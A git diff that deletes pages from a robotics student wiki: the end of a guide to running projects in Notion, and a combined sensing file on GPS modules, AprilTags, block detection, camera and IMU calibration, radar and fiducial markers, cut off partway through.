-While every meeting could have a different set of agenda, the team should try to follow a common structure for each meeting. For example, every Monday meeting could start with a weekly progress update by each individual. Once individual progress has been recorded, the team can move on to higher-level project discussions. - -For a weekly progress update, here are a few questions the project manager should ask each team member: -- What were your tasks for last week? (cross-check with the task list) -- What are your tasks for next week? -- Any concerns or obstacles that could prevent you from achieving your goals for next week? - - - -### Card System for Latecomers - -Arriving on time to meetings exhibits qualities of professionalism and respect for other’s time. When managing student projects, it is especially important to ensure that team members are motivated and determined to start each meeting on time. -Sometimes, a little incentive can go a long way. This is where the ‘Card System for Latecomers” can be a fun exercise for teams to try out. - -Here are the rules: -- There are two cards – Red and Yellow. -- A yellow card leads to a 10-point penalty. -- A red card leads to a 20-point penalty. -- If a team member is 10 min late, they get a yellow card. -- If a team member is 30+ min late, they get a red card. -- Anytime a member gets 30 points, they have to sponsor lunch for the rest of the team. - -Feel free to modify the rules to suit your team’s interests! - -![Picture3.png](/assets/images/project-management/card-system.png) - - -### Office Hours -Accurate time estimation is critical to planning and tracking project progress. Typically, each team member is expected to work a specific number of hours per week on the project. Therefore, weekly individual goals and team goals should be defined based on that number. - -For example, if it is estimated that a task will take 30 hours to complete, and one person is assigned to the task, then it should take approximately 2 weeks for that task to be completed, assuming the individual works 15 hours per week on the project. In student projects, fixed times to work during the day are not typically defined. While this freedom in schedule can be powerful, it could also lead to slack in project schedule if team members do not work according to the expected time commitments. - -A fun strategy here is to define project ‘**Office Hours**’ – specific times during the week that each team member commits to work on this project. This is a minimum time estimate and should be based on the requirements of the course / project. Of course, every team member is free to work on the project more if they like. - -After committing to weekly ‘Office Hour’ timings, each team member should try to stick to these timings (or cover up for them where applicable). These office hours will help the project manager keep track of each individual’s progress, efficiency and contribution over time, which will help in future planning activities. - -Here is an example of Team Availability (Office Hours) that you could apply to your project as well. -![Picture4.png](/assets/images/project-management/office-hours.png) - - -### Communication Channels - -In large projects, teams often need to discuss and decide on a wide range of project aspects spanning technical, financial, logistical or other categories. While a lot of these discussions may take place during meetings, a major chunk of discussions also happens outside of regular meeting slots. - -To ensure that the key points from such discussions are not inter-mixed with other discussions, it can be helpful to have distinct communication channels within the team for discussing different aspects of the project. - -For example, a team could have a communication channel for each of the following: -- Technical Work -- Logistics -- Finances -- Assignments - -There are different communication platforms and teams can choose whichever one they are most comfortable with. Some common options are -- Discord -- WhatsApp -- Slack -- Spaces - - -## Summary -In summary, Notion is a powerful tool for project management. Its intuitive features enable powerful structuring of various aspects of a project. This article introduced some of Notion's features for project management and provided a simple Project Management template to help teams get started with their project. Feel free to build on this template and test out some of the effective project management strategies discussed in your project! - - -## See Also: -- [Risk Management](https://roboticsknowledgebase.com/wiki/project-management/risk-management/) -- [Using Jira for Project Management](https://roboticsknowledgebase.com/wiki/project-management/jira/) - - -## Further Reading -- [Presentation on 'Using Notion for Project Management'](https://docs.google.com/presentation/d/1TTGKjiw5iJLZxELcF1hId6EU5_2fMuh5HKH0x1smT5g/edit?usp=sharing) -- [Tips on taking good meeting notes](https://www.teamwork.com/blog/how-to-take-meeting-notes/) - - -## References diff --git a/wiki/sensing/__all_subsections.md b/wiki/sensing/__all_subsections.md deleted file mode 100644 index 152d499c..00000000 --- a/wiki/sensing/__all_subsections.md +++ /dev/null @@ -1,1586 +0,0 @@ -/wiki/sensing/adafruit-gps.md ---- -date: 2017-08-15 -title: Adafruit GPS ---- -![Adafruit GPS Components](/assets/images/sensing/AdafruitGPS-c715f.png) ![Adafruit GPS Assembled](/assets/images/sensing/AdafruitGPS-69ceb.png) - -The Adafruit Ultimate GPS module is designed for convenient use with Arduino, Raspberry Pi, or other commonly used micro-controllers. The breakout is built around the MTK3339 chipset, a no-nonsense, high-quality GPS module that can track up to 22 satellites on 66 channels, has an excellent high-sensitivity receiver (-165 dB tracking), and a built-in antenna! - -The GPS module can do up to 10 location updates per second for high speed, high sensitivity logging or tracking. Power usage is incredibly low, only 20 mA during navigation. It includes an ultra-low dropout 3.3V regulator so you can power it with 3.3-5VDC inputs, ENABLE pin so you can turn off the module using any microcontroller pin or switch, a footprint for optional CR1220 coin cell to keep the RTC running and allow warm starts and a tiny bright red LED. The LED blinks at about 1Hz while it's searching for satellites and blinks once every 15 seconds when a fix is found to conserve power. - -Two features that really stand out about this version 3 MTK3339-based module is the external antenna functionality and the the built in data-logging capability. The module has a standard ceramic patch antenna that gives it -165 dB sensitivity, but when you want to have a bigger antenna, you can easily add one. The off-the-shelf product can be easily purchased from either [Adafruit](https://www.adafruit.com/product/746) or [Amazon](https://www.amazon.com/Adafruit-Ultimate-GPS-Breakout-channel/dp/B00GLW4016/ref=sr_1_1?ie=UTF8&qid=1495048345&sr=8-1-spons&keywords=adafruit+ultimate+gps+breakout&psc=1), and it comes with one fully assembled and tested module, a piece of header you can solder to it for bread-boarding, and a CR1220 coin cell holder. - -A summary of all technical details mentioned above is as the following: - - Satellites: 22 tracking, 66 searching - - Patch Antenna Size: 15mm x 15mm x 4mm - - Update rate: 1 to 10 Hz - - Position Accuracy: < 3 meters (all GPS technology has about 3m accuracy) - - Velocity Accuracy: 0.1 meters/s - - Warm/cold start: 34 seconds - - Acquisition sensitivity: -145 dBm - - Tracking sensitivity: -165 dBm - - Maximum Velocity: 515m/s - - Vin range: 3.0-5.5VDC - - MTK3339 Operating current: 25mA tracking, 20 mA current draw during navigation - - Output: NMEA 0183, 9600 baud default - - DGPS/WAAS/EGNOS supported - - FCC E911 compliance and AGPS support (Offline mode : EPO valid up to 14 days ) - - Up to 210 PRN channels - - Jammer detection and reduction - - Multi-path detection and compensation - -Best of all, Adafruit has also provided [a detailed tutorial](https://learn.adafruit.com/adafruit-ultimate-gps/overview) on its website and an [Arduino library](https://github.com/adafruit/Adafruit_GPS) that "does a lot of the 'heavy lifting' required for receiving data from GPS modules, such as reading the streaming data in a background interrupt and auto-magically parsing it". Overall, the abundant resources available to the public allow users from all levels to fully take advantage of the powerful functionality that this GPS module can provide. - -To use the GPS module on ROS, the [nmea_navsat_driver](http://wiki.ros.org/nmea_navsat_driver) is an excellent ROS package for obtaining fix position and velocity information efficiently from the sensor's raw output: - -``$ rosrun nmea_navsat_driver nmea_serial_driver _port:=/dev/ttyACM0 _baud:=115200`` - -/wiki/sensing/apriltags.md ---- -date: 2018-08-30 -title: AprilTags ---- -AprilTags is a visual fiducial system, useful for a wide variety of tasks including augmented reality, robotics, and camera calibration. The tags provide a means of identification and 3D positioning, even in low visibility conditions. The tags act like barcodes, storing a small amount of information (tag ID), while also enabling simple and accurate 6D (x, y, z, roll, pitch, yaw) pose estimation of the tag. - -![AprilTags placed on multiple mobile robots platforms](/assets/images/sensing/apriltags-6719c.png) - -The AprilTags project originates from a team at the University of Michigan, that has a [detailed website dedicated to the research](https://april.eecs.umich.edu/apriltag/), which is a good starting off point for learning how to use all of the software. The team has provided implementations in both Java and C to read AprilTags from a camera and there are additional implementations available online for tag reading. In addition to the software available on their website, a student at MIT has released a [C++ implementation](http://people.csail.mit.edu/kaess/apriltags). This website also has printable AprilTags for several tag families available in PDF format. - -## ROS implementation - -In ROS Groovy and Hydro, there is no built-in AprilTag recognition software. Our team is working on wrapping the code from the MIT C++ implementation into a working ROS package, which outputs AprilTags that are seen in a camera image as tf transforms and messages. - -## Experimental Results - -In informal tests, the April Tags were able to achieve accuracy within 4 centimeters of the actual pose when the camera was within 2 meters of the tag. If the robot was further away, the accuracy decreased proportionally to the distance from the tag. - -A few methods of improving speed and range are available at [AprilTags - Improving Speed and Range](http://cmumrsdproject.wikispaces.com/AprilTags+-+Improving+speed+and+range) - -## Potential Problems - -There are several key aspects to take into consideration when deciding on whether to use AprilTags. -1. The accuracy of the pose estimation is only as good as the camera being used. - - In tests conducted by CMU MRSD Team E (2014), the Kinect camera was adequate, since it outputs a fairly high quality RGB image at 640px by 480px. The team had problems when using a low quality, < $10 camera we found online. The tag detections were not able to give reliable detections of tags, and when the camera was being moved, the results were even worse. - - The same team's final hardware solution was a Logitech c270HD webcam, which we ran at a resolution of 640px x 480px. The quality was good, and the pose estimation results were accurate once the parameters were properly tuned. -- Motion affects the accuracy of the pose estimation - - When the robot is moving, especially while turning, it was found that the pose estimation could be off by > 20 degrees, and vary in range by up to 0.75 meters. We determined that the best course of action for our robot was to stop when an AprilTag was detected in order to get a more accurate pose estimation. -- Distance to the tag can affect the pose estimate - - The MRSD team's hardware setup (Kinect), saw that the pose was accurate out to a range of 2.4 meters, but could vary substantially when further than that. They decided that the robot should not localize when it is beyond this threshold range. -- Finding proper camera configuration parameters is essential - - The initial trials of the robot were inaccurate for several reasons, as mentioned above. Another reason for inaccurate localization and pose estimation was the default values for a camera parameter did not match the specifications of the hardware we were using, specifically focal length. The Kinect sensor has a focal length, in pixels, of 525, but the default value in the software was 600. This caused incorrect size estimation by the software, which meant that the robot thought it was closer than it was to the tag. Once the parameter was adjusted, the accuracy improved by several centimeters at close range, and more at further distances. - -## Alternatives -An alternative to AprilTags for localization/pose estimation of an object is the [AR tag,](http://www.artag.net/) which was created for Augmented Reality, but can provide similar pose estimation. The benefit of using AprilTags is the improved accuracy, especially in less optimal lighting conditions. - - -## Transforming the frame -One of the problems with running the April Tag node is that your frame output is dependent on the orientation of the body moving. Changes in your body's orientation changes the frame and makes it hard to have a consistent coordinate system. Team E 2014 wrote code in order to transform the AprilTag information to a consistent frame. The source code is [april tag frame transform](https://github.com/ColumnRobotics/column/blob/master/src/rectified_april_tag.cpp). The team found this code to be a bit noisy, so we wrote a RANSAC filter, available [here](https://github.com/ColumnRobotics/column/blob/master/src/BodyPoseFilter.cpp). A way to fix these errors would be to rely on the IMU orientation for the transformation and not the orientation from the April Tag. - -## References -1. AprilTag homepage: http://april.eecs.umich.edu/wiki/index.php/AprilTags -- AprilTag C implementation: http://april.eecs.umich.edu/wiki/index.php/AprilTags-C -- AprilTag Java implementation: http://april.eecs.umich.edu/wiki/index.php/AprilTags-Java -- AprilTag C++ implementation:http://people.csail.mit.edu/kaess/apriltags/ -- AR Tags: http://www.artag.net/ -- Augmented Reality Tracking (ALVAR): http://virtual.vtt.fi/virtual/proj2/multimedia/alvar/ -- ALVAR ROS Wrapper: http://wiki.ros.org/ar_track_alvar - -wiki/sensing/azure-block-detection.md ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2023-12-13 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Azure Block Detection -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -This article presents an overview of object detection using the Azure camera without relying on learning-based methods. It is utilized within our Robot Autonomy project, specifically for detecting Jenga blocks and attempting to assemble them. - -### Detection Pipeline -To identify individual blocks and their respective grasping points, the perception subsystem undergoes a series of five steps. Initially, it crops the Azure Kinect camera image to center on the workspace. Following this, it applies color thresholding to filter out irrelevant objects and discern the blocks. Subsequently, it identifies the contours of these blocks and filters them based on their area and shape characteristics. Once the blocks are recognized, the perception subsystem computes the grasping points for each block. Collectively, these steps facilitate the accurate detection of block locations and their corresponding grasping points on the workstation. - - -![Pipeline of Block Detection](/assets/images/sensing/pipeline.png) - -### Image Cropping -The initial stage of the perception subsystem involves cropping the raw image. Raw images often contain extraneous details, such as the workspace's supporting platform or the presence of individuals' feet near the robot. By cropping the image to focus solely on the workspace, we eliminate a significant amount of unnecessary information, thereby enhancing the system's efficiency and robustness. - -Currently, this approach employs hard-coded cropping parameters, requiring manual specification of the rows and columns to retain within the image. - -![Cropped Image](/assets/images/sensing/cropped.png) - -### Color Segmentation -Color segmentation can pose challenges in images with prominent shadows. Shadows cause a decrease in RGB pixel values, while light causes an increase, making it challenging to distinguish between different colors. To address this, we employ HSV (Hue, Saturation, Value) thresholding on the image. - -For reliable detection of the brown color of the Jenga blocks under varying lighting conditions, we utilize the HSV color space, consisting of three channels: hue, saturation, and value. By thresholding these channels, we filter out the desired colors. However, using a fixed RGB threshold for detecting brown is challenging due to its variable RGB values under different lighting. - -To tackle this issue, we employed color meter software to establish the brown color range for the Jenga blocks. This range, encompassing lower and upper brown values, was applied to our HSV thresholding function. The resulting HSV thresholded image is depicted in Figure 10b. - -To further refine Jenga block detection and eliminate background noise, we apply a mask to the HSV thresholded image. Initially, we create a mask by contour area thresholding and then fill any holes within the contour to obtain a solid mask. The resulting masked image is shown in Figure 6a. This process ensures the reliable detection of Jenga blocks by removing remaining noise or unwanted objects. - -![RGB Vector](/assets/images/sensing/rgb_vector.png) - -### Block Contours - -Contours play a pivotal role in computer vision's object detection. In our perception system, we utilize the mask derived from the HSV thresholded image to generate precise and consistent contours, enhancing accuracy. - -We utilize OpenCV2's 'findContours' function to generate contours from the masked image. However, these contours encompass not only the Jenga blocks but also the robot manipulator. Since our focus is solely on detecting rectangular shapes corresponding to the Jenga blocks, we employ thresholding based on approximate block size and rectangular characteristics. - -To simplify contours and reduce points, we apply OpenCV2's 'minAreaRect' function to the contours. This function generates contours with only four points representing the four corners of the blocks. Comparing the area of the original contour with the 'minAreaRect' contour allows us to confirm if the detected object is indeed a rectangle by setting a threshold ratio. - -Subsequently, we identify the two grasp points of the block by detecting its longer sides. To determine these grasp points in the image frame, we align the depth image with the RGB image to acquire the depth value. Utilizing the x, y, and depth values, we transform the 2D pixel points back to the 3D pose in the camera frame using the intrinsic matrix. The grasp point concerning the base frame is then computed by performing a transform tree lookup, thereby completing the entire perception cycle. - -![Contours](/assets/images/sensing/zoom1.png) - - -### Image HSV Thresholding vs. Normalization - -To mitigate the issue of filtering out irrelevant data, we explored two approaches: HSV thresholding and image normalization. In addition to the conventional representation of each pixel as an RGB value, pixels can also be depicted as 3D vectors in RGB space. While lighting influences the vector's magnitude, it doesn't alter its direction. Normalizing each vector nullifies the lighting effect, preserving only its direction and effectively converting RGB vectors into unit vectors. - -For identifying jenga block pixels, we calculated the cosine similarity between each pixel's RGB vector and the background color. Pixels with excessive similarity to the background were masked out. - -Although image normalization showed promise, it proved less effective in cluttered scenarios compared to the HSV method. The HSV method, involving thresholding in the HSV color space, exhibited greater reliability in detecting jenga blocks across varying lighting conditions. - -Normalized Image | HSV Image -:-------------------------:|:-------------------------: -![Norm](/assets/images/sensing/norm_img.png) | ![HSV](/assets/images/sensing/hsv_img.png) - - -## References -- [MIT Jenga Robot](https://news.mit.edu/2019/robot-jenga-0130) - - - - - - - -wiki/sensing/camera-calibration.md ---- -date: 2017-08-15 -title: Camera Calibration ---- - -It is quite common for projects to involve vision systems, but despite this most teams working with cameras ignore the basic advantages of calibrating a camera properly. Not only does a good calibration lead to better quality of data in form of images captured but also reduces overall errors in the vision the system, a properly calibrated camera helps avoid unnecessary delays due to radiometric and geometric errors. - -## References -Listed below are a few good places to get started on camera calibration. -- Quick intro. and overview: https://www.cs.umd.edu/class/fall2013/cmsc426/lectures/camera-calibration.pdf -- A comprehensive guide: http://www.cs.rutgers.edu/~elgammal/classes/cs534/lectures/CameraCalibration-book-chapter.pdf -- Chapter 2 in this book: http://szeliski.org/Book/drafts/SzeliskiBook_20100903_draft.pdf (I would highly recommend this book, above all) -- Using MATLAB for online/offline calibration: https://www.mathworks.com/help/vision/camera-calibration.html - -wiki/sensing/camera-imu-calibration.md ---- -date: 2019-05-07 -title: IMU-Camera Calibration using Kalibr ---- -This tutorial will help you in setting up the Kaliber library developed at ETH Zurich for combined IMU-Camera calibration. -For better understanding, we have also included an example of Pixhawk (IMU) and ZED camera (stereo camera) calibration procedure. - -# Table of Contents -1. [Introduction](#Introduction) -2. [Requirement](#Requirement) -3. [Calibration Procedure](#Calibration-Procedure) -4. [Few notes and important tips](#Few-notes-and-important-tips) -5. [References](#References) - -## Introduction -Kalibr library simultaneously computes the homogeneous transformation (denoted as **IHW**) between the camera and the world frame, and the homogeneous transformation (denoted as **CHW**) between IMU and the world frame. A 6x6 AprilTag grid map is used as the landmarks for the calibration procedure. -Above two transformations (IHW & CHW) can be used to compute the transformation between Camera and IMU i.e. CHW WHI. In this method the IMU is parameterized as 6x1 spline using the three degrees of freedom for translation & three degrees of freedom for orientation. Based on the raw acceleration & angular velocity readings from the on board IMU, the acceleration and the angular velocity is computed in terms of CHW. - -This library needs an initial guess of CHW, the homogeneous transformation which is first computed for each April tag using the PnP algorithm. Then the error between the predicted positions of the landmark based on the IMU reading and the observed position of the landmark using a camera is minimized using Levenberg Marquardt optimizer. So, this library generates the following output:
-(i) the transformation between the camera and the IMU
-(ii) the offset between camera time and IMU time (synchronization time)
-(iii) the pose of the IMU w.r.t to world frame
-(iv) Intrinsic camera calibration matrix, K for the camera
- -Going through this [paper's](https://furgalep.github.io/bib/furgale_iros13.pdf) section III B and IV will give deeper insights into the implementation. - -## Requirement -1. A printout of 6x6 AprilTag 36h11 markers on A0 size paper. This can be downloaded from [here](https://drive.google.com/file/d/0B0T1sizOvRsUdjFJem9mQXdiMTQ/edit). -2. This [CDE](https://drive.google.com/file/d/0B0T1sizOvRsUVDBVclJCQVJzTFk/edit) package is the easiest and the fastest way to get the library running. All dependencies are packed within this package and no external dependencies are required. -3. ROS drivers for the IMU and camera. Pixhawk, Ardupilot is typically used for UAVs and UM6/7 is popular for ground robots like Husky. ZED, Asus Xtion Pro, Intel Realsense D435 are few popular stereo cameras. - -## Calibration Procedure -Download and extract the CDE package. -``` - tar xfvz kalibr.tar.gz -``` - -Either you can run the tools directly from the cde-package folder or/and add the package folder to the system path using: -``` - export PATH="/cde/package/path:$PATH" -``` -Change the AprilTag size in the YAML file and copy the same yaml file inside the extracted kalibr folder.
Now make sure that both IMU & Camera publishes raw data and images respectively to ROS. Below command will list all the ROS topics published by the sensor. -``` -rostopic list -``` -Before creating ROS bag check if the sensor data is published properly. -``` -rostopic echo /topic_name -``` -Check the publishing rate of a topic. It is recommended that the camera should run at 20 Hz and IMU at 200 Hz. -``` -rostopic hz /topic_name -``` -Further, move the robot along all its degree of freedom. For instance, the axes of the UAVs are translated in x,y & z direction & rotated in all the three directions (roll,pitch & yaw) for the proper calibration. Collect the IMU sensor’s raw measurement and camera frame for around 60 seconds. Before recoding camera data, ensure that the RGB images from the camera is converted into the grayscale format. - -In this sample example, Pixhawk sensor data is subscribed from the MAVROS raw_sensor message & camera frames are subscribed from the ZED sensor camera node. For other IMUs/Cameras only the ROS message name will change. - -Start ZED sensor camera -``` -roslaunch zed_wrapper zed.launch -``` -and similarly, start pixhawk -``` -roslaunch mavros px4.launch -``` -Below command will start the recording. -``` -rosbag record -O camera-imu-data.bag /imu/data_raw /zed/left/image_raw /zed/right/image_raw -``` -Check the recorded data by using the following command. -``` -rosbag play -``` -If all the required data is recorded properly, run following camera calibration command. -``` -./kalibr_calibrate_cameras --models pinhole-equi pinhole-equi --topics /zed/left/image_raw /zed/right/image_raw --bag camera-imu-data.bag --target aprilgrid_6x6.yaml -``` -Arguments:
-- models: Most typically used stereo cameras are of pinhole camera model. For more detail on the supported models, refer to this [link](https://github.com/ethz-asl/kalibr/wiki/supported-models).
-- topics: Name of the recodered camera topics
-- bag: ROS bag containing the image and IMU data
-- target: yaml configuration file for the used target
- -This command will generate a new yaml file with camera intrinsic calibration parameters. Above command can be skipped if the camera calibration yaml is already available. Now run below imu-camera calibration script. -``` -./kalibr_calibrate_imu_camera --cam cam_calc.yaml --target aprilgrid_6x6.yaml --imu imu0.yaml --bag camera-imu-data.bag -``` -Arguments:
-- cam: Generated camera calibration yaml configuration file
-- imu: yaml configuration file for the IMU
- -For more detail on the different yaml format, please check this [link](https://github.com/ethz-asl/kalibr/wiki/yaml-formats)
- -After running kalibr_calibrate_imu_camera script, the camera calibration yaml will be extended by the imu-camera calibrator with imu-camera transformations. - -## Few notes and important tips -1. During testing, ensure that the robot is moved slowly so that a sufficient amount of data is collected in a single position and try to excite all the IMU axes. -2. Ensure that most of the camera frame has all the April tags captured in it. -3. Avoid shocks during the testing, especially at the beginning and the end of the data collection. -4. The tool requires a rosbag with more than 1000 images, which leads to a ROS bag of few GBs. So, it is suggested to be run on the development machine instead of the onboard SBC. -5. This tool needs raw imu sensor data, to ensure that the correct ROS message is recorded from the IMU. -6. Make sure the calibration target is as flat as possible. - -## References -Official github repository of the Kalibr tool can be found [here](https://github.com/ethz-asl/kalibr/). - - - -wiki/sensing/computer-vision-considerations.md ---- -date: 2017-08-15 -title: Computer Vision for Robotics- Practical Considerations ---- -Things to take care of when working with vision in robotics: - -Its easy to get enchanted by the promises of the camera. However, computer vision can kill you if you don't heed to some important things. (It can kill you even after that though!). Below are some pitfalls one can avoid: - -## Lighting -- Your vision algorithms effectiveness is directly dependent on the surrounding lighting, after all camera is just a device to capture light. -- ALWAYS test in your real conditions! The biggest mistake in robotics is telling yourself- it should work! - -## Camera -- Know the camera's field of view and maximum resolution. -- Sometimes autofocus can also be a pain to deal with -- mostly you will be better off with a camera without it. -- Same with autoexposure. - -## Calibration -- If you are doing pose estimation using CV, your calibration error will affect your pose accuracy/precision. -- When calibrating, make sure your target (chessboard) is as planar as it can get. Also make sure its edges and corners are sharp. - - The above point is even more relevant if you are using the OpenCV software for calibration because it auto-detects corners - - Apart from OpenCV, another good calibration toolbox is [Caltech Calib Toolbox](http://www.vision.caltech.edu/bouguetj/calib_doc/). - -## Scale -- Any knowledge you recover about the world using Computer Vision is only accurate up to a scale. Estimating this scale is difficult. Possible solutions include: - - Depth Sensors (Kinect): will consume power and processor though - - Stereo camera pair: low on power, but inaccurate after a point (depends on baseline) - - Known measurement in image: simple and effective, however it requires prior knowledge of the robot's operating environment. - -## Numerical Errors: -- This is an inherent problem with vision due to the fact that pixels are discrete. One of the things you can do is normalize your values before applying any algorithm to it. -- Another is using as much precision as you can. - -## Frame Rates -- CV algorithms can be very slow, especially on the limited hardware capabilities of most robotic systems. This can be bad for estimation algorithms. Try and make your algorithm run faster. Some ways to do that are: - - Parallelization: Difficult but, if implemented well, can provide huge boosts to speed. Make sure you know what you're doing -- its very easy to go wrong with parallelization. - - Region of Interest (RoI): if you are not working on the entire image, do not process the entire image. Some intelligent heuristics can be used to select RoIs. - - Resolution: :ower the resolution. However, this is a tradeoff. You may end up increasing your error. - -## Reference Frame -- This is a common problem across robotics and sensors -- not just for vision. Be sure of the frame in which you get values from any software/algorithm. Especially if you are using third party software (say ROS packages). -- ALWAYS perform sanity checks with moving (rotate + translate) camera by hand. - -## Summary -If you keep the above points in mind, dealing with Computer Vision will be easier. You will be able to save days of debugging time. - - -wiki/sensing/delphi-esr-radar.md ---- -date: 2017-08-15 -title: Delphi ESR Radar ---- - -![Delphi ESR Radar](/assets/images/sensing/DelphiESRRadar-8394b.png) - -Delphi's multimode Electronically Scanning RADAR (ESR) combines a wide field of view at mid-range with long-range coverage to provide two measurement modes simultaneously. The mid-range coverage (60m, +/-45 deg) not only allows vehicles cutting in from adjacent lanes to be detected but also identifies vehicles and pedestrians across the width of the equipped vehicle. The long-range coverage (175m, +/-11 deg) provides accurate range and speed data with powerful object discrimination that can identify up to 64 targets in the vehicle's path. -Delphi's technologically advanced ESR uses proven solid state technology plus class-leading performance, packaging and durability to offer customers game-changing forward radar detection. The quality of data provided by Delphi's system enables powerful functionality including adaptive cruise control, forward collision warning, brake support and headway alert. - -![Radar Detection Cones](/assets/images/sensing/DelphiESRRadar-eba02.png) - -For more introductory information about the sensor and its state-of-the-art technology, please refer to the [official datasheet released by Delphi.](http://cmumrsdproject.wikispaces.com/file/view/delphi_esr_datasheet.pdf/613230495/delphi_esr_datasheet.pdf) - -It is always a good idea to study/review some fundamental principles of the radar technology and basic techniques in radar data processing before working on the actual hardware. [This online tutorial](http://www.radartutorial.eu/01.basics/Radar%20Principle.en.html) will offer you the necessary knowledge to build a solid theoretical background for working with the radar hardware. - -To get started with the Delphi ESR 2.5 radar, please refer carefully to the instruction in the user manual provided by Delphi. - -The data can be acquired from the Delphi ESR 2.5 radar through CAN (Controller Area Network) and/or Ethernet. The raw detection-level data can be obtained through Ethernet, while the raw tracking-level data can be obtained through CAN. In case you need additional assistance on the data acquisition from Delphi ESR 2.5, [AutonomouStuff](https://autonomoustuff.com/product/delphi-esr-2-5-24v/) and [PolySync](http://docs.polysync.io/sensors/delphi-esr-2-5/) also provide generous supports on this specific sensor model, besides the manufacturer Delphi. - -References: -1. Delphi ESR Radar Product Page: http://autonomoustuff.com/product/delphi-esr-2-5-24v/ - -wiki/sensing/fiducial-markers.md ---- -date: 2022-04-26 -title: Comparison of Fiducial Markers -published: true ---- -## Why is this comparison important? -Different fiducial markers are best suited for different applications, so this article elucidates a brief list of pros and cons to evaluate different fiducial markers, enabling readers to choose a suitable one for one’s application. - -Many important considerations are required to make a decision on which fiducial marker is suitable for a particular application, such as accuracy, OpenCV/ROS support, available repositories/usage in robotics community, resistance to occlusion, marker size/camera resolution, CPU usage for detection, suitability for a particular sensor, etc. There are many available options starting from barcodes and QR codes which are the most widely used in the general population to ArUco markers which are commonly used in the robotics community due to their reliability and existing OpenCV implementation. However, there is no silver bullet. Even some of the most popular fiducial markers, ArUco markers are not detected under occlusion hence it is important to pick alternatives like STag if occlusion resistance is an important criteria. In addition to this, the camera used impacts the choice as well. For example, regular web cameras may suffer from perspective distortion, which makes perspective support an important criteria. In summary, one must balance all the desired criteria and weigh them as per one’s use-case. - -## WhyCon -WhyCon is a simple circular fiducial marker with a black disk and white circular interior that does not feature any ID encoding. It uses circular encoding similar to encoders to decode. The marker identities are determined in the algorithm using the diameter ratios with relaxed tolerances for the inner/outer segment area ratio to prevent false detections. It is designed for use on low-cost devices for tasks that require fast detection rates. Note: It requires camera_info topic to calibrate. - -The WhyCode marker is an extension to WhyCon that features traditional topological encoding, offering a six bit central component instead of a plain white circular interior. This addition of the bit information provides the orientation of the tag which is useful in various applications. - -CPU usage with image resolution 840x480: 8% @ 6fps , 9% @ 15fps, 19% @ 90fps -Average frame detection time: 7ms - -### Pros -- Very fast (20-30x ArUco) - -### Cons -- No proper library support for pose estimation, pose estimation will require very precise marker placements. -- Occlusion sensitive (90% visibility required) -- Prone to detecting false positive simple circles. A workaround can be to use complex markers and not simple numbers to remove the false positives. -- Can be confused by concentric circles. A workaround can be to use multiple markers. - -## CALTag -[CALTag](https://www.cs.ubc.ca/labs/imager/tr/2010/Atcheson_VMV2010_CALTag/) is a self-identifying marker pattern that can be accurately and automatically detected in images. This marker was developed for camera calibration. It is a square, monochromatic tag made up of multiple black and white squares, each with individual identification bits in their own center. These small identification bits are extremely beneficial for calibration tasks which require a high level of precision. However, this is less beneficial in autonomous systems applications since the precision comes at the cost of the identification rate. Nevertheless, CALTag marker detection is robust to occlusions, uneven illumination and moderate lens distortion. It has about the same speed and compute load as ArUco marker detection. - -### Pros -- Very resilient to occlusion -- Very high (mm level) accuracy - -### Cons -- Runs only on MATLAB -- Larger size marker needed for detection when marker needs to be detected at not very close distance (~4m) - -## STag -STag is a fiducial marker that uses ellipse fitting algorithms to provide stable detections. The STag has a square border similar to other markers, but it also includes a circular pattern in their center. After the line segmentation and quad detection of the square border, an initial homography is calculated for the detected marker. Then, by detecting the circular pattern in the center of the marker, the initial homography is refined using elliptical fitting. Elliptical fitting is shown to provide a better localization compared to the quad detection and localization. This refinement step provides increased stability to the measurements. [STag repository](https://github.com/bbenligiray/stag), [STag ROS repository](https://github.com/usrl-uofsc/stag_ros/) -It has a similar compute load to arUco markers. -CPU usage with image resolution 848x640 : 33% @ 5fps, 70% @ 30fps, 150% @ 90fps -Avg frame detection time: 35ms - -Pros: -- High resilience to occlusion -- Much greater viewing angle -- Larger marker size needed -- Higher compute cost -Cons: -- No library is provided to generate tags (yet!), however a drive link for 57K tags has been provided which can be used. - -## CCTag -[CCTag](https://github.com/alicevision/CCTag) is a round, monochromatic marker that consists of concentric black and white rings. It is designed to achieve reliable detection and identification of planar features in images, in particular for unidirectional motion blur. CCTag lacks any ID encoding but the authors propose that it can potentially be used as a circular barcode with varying ring sizes. It also boasts low rates of false positives and misidentifications to provide a tag with high detection accuracy and recognition rate even under adverse conditions. - -### Pros: -- Extreme resilience to occlusion and blur -### Cons: -- High CPU usage (200%) -- Recommended to run on GPU - -## Fourier Tag -The Fourier Tag encodes binary data into a grayscale, radially symmetric structure instead of using a topological method and uses the Fourier Transform to detect the variation in the intensity of the rings. This method optimizes partial data extraction under adverse image conditions and improves the detection range. The detection can be optimized for different tasks to achieve the necessary balance for robustness and encoding capacity depending on the task. The main advantage is the slow degradation of accuracy compared to other fiducial markers that may be either entirely detected or entirely lost, this tag is able to degrade smoothly. -### Pros: -Can be viewed from much greater distance or tag size can be extremely small -### Cons: -Cannot handle occlusion but code can be modified to include some level of resilience - -## AprilTag -AprilTag is based on the framework established by ARTag while offering a number of improvements. Firstly, a graph-based image segmentation algorithm was introduced that analyzes gradient patterns on the image to precisely estimate lines. Secondly, a quad extraction method is added that allows edges that do not intersect to be identified as possible candidates. Thirdly, a new coding system is also implemented to address issues stemming from the 2D barcode system. These issues include incompatibility with rotation and false positives in outdoor conditions. As a result, AprilTag has an increased robustness against occlusions and warping as well as a decreased amount of misdetections. It is still supported by the creators with regular updates. The primary source of error in AprilTag pose estimatation is the angular rotation of the camera. To address the challenges caused by an unaligned yaw, a trigonometric correction method is introduced to realign the frame along with a pose-indexed probabilistic sensor error model to filter the tracking data. - -### Pros: -- Allow the user to specify a list of markers to detect -- Existing ROS support -### Cons: -- Less accurate than ArUco, especially with varying viewing angle - -## ArUco -ArUco is another package based on ARTag and ARToolkit. The most notable contribution of ArUco marker is that it allows the user to create configurable libraries. Instead of including all possible markers in a standard library, users can generate a custom library based on their specific needs. This library will only contain specific markers with the greatest Hamming distance possible, which reduces the potential for false detections. Another advantage of the smaller size of the custom libraries is the reduced computing time. -CPU usage with image resolution 840x480 : 3% @ 1fps, 20% @ 6fps , 40% @ 15fps, 100% @ 90fps tnet -Average frame detection 